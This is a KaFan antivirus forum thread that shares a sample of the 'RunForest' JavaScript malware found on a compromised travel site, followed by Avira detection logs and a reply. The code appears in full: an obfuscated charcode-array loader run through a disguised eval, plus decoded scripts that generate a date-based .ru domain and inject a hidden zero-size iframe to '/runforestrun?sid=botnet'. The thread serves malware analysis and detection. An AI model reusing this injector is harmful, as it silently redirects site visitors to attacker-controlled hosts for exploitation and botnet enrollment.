585, 606, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 590, 582, 570, 192, 585, 660, 525, 720, 160, 366, 160, 462, 485, 696, 520, 276, 570, 666, 585, 660, 500, 240, 215, 660, 505, 714, 160, 408, 485, 696, 505, 240, 205, 282, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 708, 485, 684, 160, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 192, 305, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 294, 270, 264, 160, 234, 570, 702, 195, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 160, 366, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 495, 684, 505, 582, 580, 606, 345, 648, 505, 654, 505, 660, 580, 240, 170, 438, 350, 492, 325, 462, 345, 204, 205, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 505, 696, 325, 696, 580, 684, 525, 588, 585, 696, 505, 240, 170, 690, 570, 594, 170, 264, 160, 204, 520, 696, 580, 672, 290, 282, 235, 204, 215, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585, 660, 315, 690, 525, 600, 305, 588, 555, 696, 550, 606, 580, 300, 170, 246, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 545, 276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 624, 505, 630, 515, 624, 580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 708, 525, 690, 525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525, 600, 500, 606, 550, 204, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726, 230, 582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625, 264, 160, 318, 240, 288, 205, 354];
  514.         v = "eva";
  515.     }
  516.     if (v) e = window[v + "l"];
  517.     w = f;
  518.     s = [];
  519.     r = String;
  520.     z = ((e) ? "Code" : "");
  521.     for (; 1776 - 5 + 5 > i; i += 1) {
  522.         j = i;
  523.         if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
  524.     }
  525.     if (f) e(s);
  526. } /*qhk6sa6g1c*/
复制代码

  1. function nextRandomNumber() {
  2.     var hi = this.seed / this.Q;
  3.     var lo = this.seed % this.Q;
  4.     var test = this.A * lo - this.R * hi;
  5.     if (test > 0) {
  6.         this.seed = test;
  7.     } else {
  8.         this.seed = test + this.M;
  9.     }
  10.     return (this.seed * this.oneOverM);
  11. }

  12. function RandomNumberGenerator(unix) {
  13.     var d = new Date(unix * 1000);
  14.     var s = d.getHours() > 12 ? 1 : 0;
  15.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
  16.     this.A = 48271;
  17.     this.M = 2147483647;
  18.     this.Q = this.M / this.A;
  19.     this.R = this.M % this.A;
  20.     this.oneOverM = 1.0 / this.M;
  21.     this.next = nextRandomNumber;
  22.     return this;
  23. }

  24. function createRandomNumber(r, Min, Max) {
  25.     return Math.round((Max - Min) * r.next() + Min);
  26. }

  27. function generatePseudoRandomString(unix, length, zone) {
  28.     var rand = new RandomNumberGenerator(unix);
  29.     var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  30.     var str = '';
  31.     for (var i = 0; i < length; i++) {
  32.         str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  33.     }
  34.     return str + '.' + zone;
  35. }

  36. setTimeout(function() {
  37.     try {
  38.         if (typeof iframeWasCreated == "undefined") {
  39.             iframeWasCreated = true;
  40.             var unix = Math.round(+new Date() / 1000);
  41.             var domainName = generatePseudoRandomString(unix, 16, 'ru');
  42.             ifrm = document.createElement("IFRAME");
  43.             ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
  44.             ifrm.style.width = "0px";
  45.             ifrm.style.height = "0px";
  46.             ifrm.style.visibility = "hidden";
  47.             document.body.appendChild(ifrm);
  48.         }
  49.     } catch (e) {}
  50. }, 500);
复制代码

  1. function nextRandomNumber() {
  2.     var hi = this.seed / this.Q;
  3.     var lo = this.seed % this.Q;
  4.     var test = this.A * lo - this.R * hi;
  5.     if (test > 0) {
  6.         this.seed = test;
  7.     } else {
  8.         this.seed = test + this.M;
  9.     }
  10.     return (this.seed * this.oneOverM);
  11. }

  12. function RandomNumberGenerator(unix) {
  13.     var d = new Date(unix * 1000);
  14.     var s = d.getHours() > 12 ? 1 : 0;
  15.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
  16.     this.A = 48271;
  17.     this.M = 2147483647;
  18.     this.Q = this.M / this.A;
  19.     this.R = this.M % this.A;
  20.     this.oneOverM = 1.0 / this.M;
  21.     this.next = nextRandomNumber;
  22.     return this;
  23. }

  24. function createRandomNumber(r, Min, Max) {
  25.     return Math.round((Max - Min) * r.next() + Min);
  26. }

  27. function generatePseudoRandomString(unix, length, zone) {
  28.     var rand = new RandomNumberGenerator(unix);
  29.     var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  30.     var str = '';
  31.     for (var i = 0; i < length; i++) {
  32.         str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  33.     }
  34.     return str + '.' + zone;
  35. }

  36. setTimeout(function() {
  37.     try {
  38.         if (typeof iframeWasCreated == "undefined") {
  39.             iframeWasCreated = true;
  40.             var unix = Math.round(+new Date() / 1000);
  41.             var domainName = generatePseudoRandomString(unix, 16, 'ru');
  42.             ifrm = document.createElement("IFRAME");
  43.             ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet");
  44.             ifrm.style.width = "0px";
  45.             ifrm.style.height = "0px";
  46.             ifrm.style.visibility = "hidden";
  47.             document.body.appendChild(ifrm);
  48.         }
  49.     } catch (e) {}
  50. }, 500);
复制代码

  1. j % 2
复制代码


Avira
2013/7/7 上午 07:13 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Temp\ChromePortable\Cache\f_000027'
      包含病毒或有害的程式 'JS/RunForest.B' [virus]
      已採取動作:
      檔案會移動至 '55673063.qua' 名稱底下的隔離區目錄。.

2013/7/7 上午 07:13 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數:        780
      目錄數:        0
      惡意程式碼數:        1
      警告數:        0

2013/7/7 上午 07:13 [Web Protection] 發現惡意程式碼
      從 URL "http://www.raytreacytravel.com/templates/bt_travelin/js/template.js"
      存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:已略過

2013/7/7 上午 07:13 [Web Protection] 發現惡意程式碼
      從 URL "http://www.raytreacytravel.com/templates/bt_travelin/js/ddpanel.js"
      存取資料時,
      發現病毒或有害的程式 'JS/RunForest.B' [virus]。
      已採取動作:已略過

2013/7/7 上午 07:12 [Web Protection] 發現惡意程式碼
      從 URL "http://www.raytreacytravel.com/media/system/js/mootools.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/7/7 上午 07:12 [Web Protection] 發現惡意程式碼
      從 URL "http://www.raytreacytravel.com/templates/bt_travelin/js/cmenu.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/7/7 上午 07:12 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Temp\ChromePortable\Cache\f_000027 中
      偵測到病毒或有害的程式 'JS/RunForest.B [virus]'
      執行的動作:傳輸至掃描程式

2013/7/7 上午 07:12 [Web Protection] 發現惡意程式碼
      從 URL "http://www.raytreacytravel.com/media/system/js/caption.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.BO.1' [virus]。
      已採取動作:封鎖的檔案

2013/7/7 上午 07:12 [Web Protection] 發現惡意程式碼
      從 URL "http://www.raytreacytravel.com/modules/mod_tabmods/scripts/mootools.js"
      存取資料時,
      發現病毒或有害的程式 'JS/RunForest.B' [virus]。
      已採取動作:已略過


fs3.jpg

zenvi
发表于 2013-7-8 22:33:09 | 显示全部楼层
江民成功拦截
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-3 14:57 , Processed in 0.129212 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表